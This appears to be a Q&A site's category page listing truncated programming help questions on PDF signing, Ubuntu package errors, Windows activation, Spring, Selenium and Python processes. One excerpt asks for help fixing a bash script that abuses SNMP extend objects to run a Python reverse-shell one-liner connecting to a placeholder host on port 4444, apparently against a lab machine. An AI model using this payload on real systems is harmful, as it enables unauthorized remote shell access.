Categories
Mastering Development

Digital signatures invalid when I use the iTextSharp

This is my Form – Following are the code – private void btnSign_Click(object sender, EventArgs e) { string sbase64 = richTextBox2.Text; byte[] bytes = System.Convert.FromBase64String(sbase64); PdfReader reader = new PdfReader("F:\\test1.pdf"); FileStream os = new FileStream("F:\\output.pdf", FileMode.Create); IExternalSignatureContainer external1 = new MyExternalSignatureContainer(bytes); MakeSignature.SignDeferred(reader, "Signature1", os, external1); reader.Close(); os.Close(); } private class MyExternalSignatureContainer : IExternalSignatureContainer { protected […]

Categories
Linux Mastering Development

Please support to fix below debian snmp shell script for reverse shell

The below shell script to get reverse shell of linux box giving error mentioned below. Script- #!/bin/bash random="gunroot" snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 \ "nsExtendStatus.\"${random}\"" = createAndGo \ "nsExtendCommand.\"${random}\"" = /usr/bin/python3 \ "nsExtendArgs.\"${random}\""= ‘-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"x.x.x.x\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"’ snmpwalk -v 2c -c SuP3RPrivCom90 x.x.x.x 1.3.6.1.4.1.8072.1.3.2 output- nsExtendArgs."gunroot"=: Bad object type: […]

Categories
Linux Mastering Development Ubuntu

Cannot Install nor remove from ubuntu 16.04.7

After running a latest update and upgrade the PC doesn’t allow to install nor update giving me error File "/usr/lib/command-not-found", line 23, in <module> import gettext ValueError: source code string cannot contain null bytes Error in sys.excepthook: Traceback (most recent call last): File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 63, in apport_excepthook from apport.fileutils import likely_packaged, get_recent_crashes File "/usr/lib/python3/dist-packages/apport/__init__.py", […]

Categories
Mastering Development System & Network

Activate Windows 10 when OEM key is missing

We are offboarding a hundred plus Dell Latitude E7470 and 7480 model laptops by reimaging them with base Windows 10 Pro, and about a quarter of them fail to activate Windows 10 Pro due to not having a valid digital license. I have found that following the guide here at dellwindowsreinstallationguide.com/the-oem-product-key-and-oem-system-locked-preinstallation/ shows the laptops impacted […]

Categories
Mastering Development

Why spring boot jpa hibernate projection throws exception?

im working with spring boot, and trying to use projections since my classes are quite big, and there arent many times when i need all the data at once. So i went online and found Spring Boot’s website who present projections. It should be pretty simple yes, but for some reason it throws this exception: […]

Categories
Mastering Development

Why does translation matrix not affect rendering of 3d model in python?

I am very new to coding and decided to start with a 3D engine in python. I followed OLC’s tutorial and adapted it for python. However, my translation matrix doesn’t seem to be affecting how the model is rendered. Any advice at all, from code improvements, to telling me how bad I am would be […]

Categories
Mastering Development

Json objects not separated by delimiters [Python]

I am trying to work with a list an saving the output into a json but the objects are not comma separated. If my put the json dump code before the FOR Loop, it gives me the comma separation. But I need the FOR loop to get other details I want. Thanks import re, os, […]

Categories
User Help

Cannot retrieve a value from a web page using Selenium in Python3

iam just trying to login to a webpage using selenium to post credentials to it and the use XPath to get the the profit value. My code is: #!/usr/bin/python3 # coding=utf-8 from selenium import webdriver from selenium.webdriver.chrome.options import Options import requests, time, os, gtts options = Options() options.add_argument(‘–headless’) # Runs Chrome in headless mode. options.add_argument(‘–no-sandbox’) […]

Categories
Mastering Development

Python: Unable to kill child processes and commands executed with subprocess.Popen() inside child processes in Windows

I have a Python script that creates two child processes with multiprocessing.Process(): One child process (Child 1) launches a server that serves a machine learning model, and it does not terminate on its own (so it’s like an infinite loop). The other child process (Child 2) is a client, which loads some text and uses […]

Categories
User Help

Linux: Use Python Selenium to check if Firefox tab crashed

I am using a simple python script to open a URL on firefox, but after a short time, Firefox crashes. I want to find a way to know that the tab has crashed to refresh the driver. I hope someone can help. from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.firefox.service import Service from […]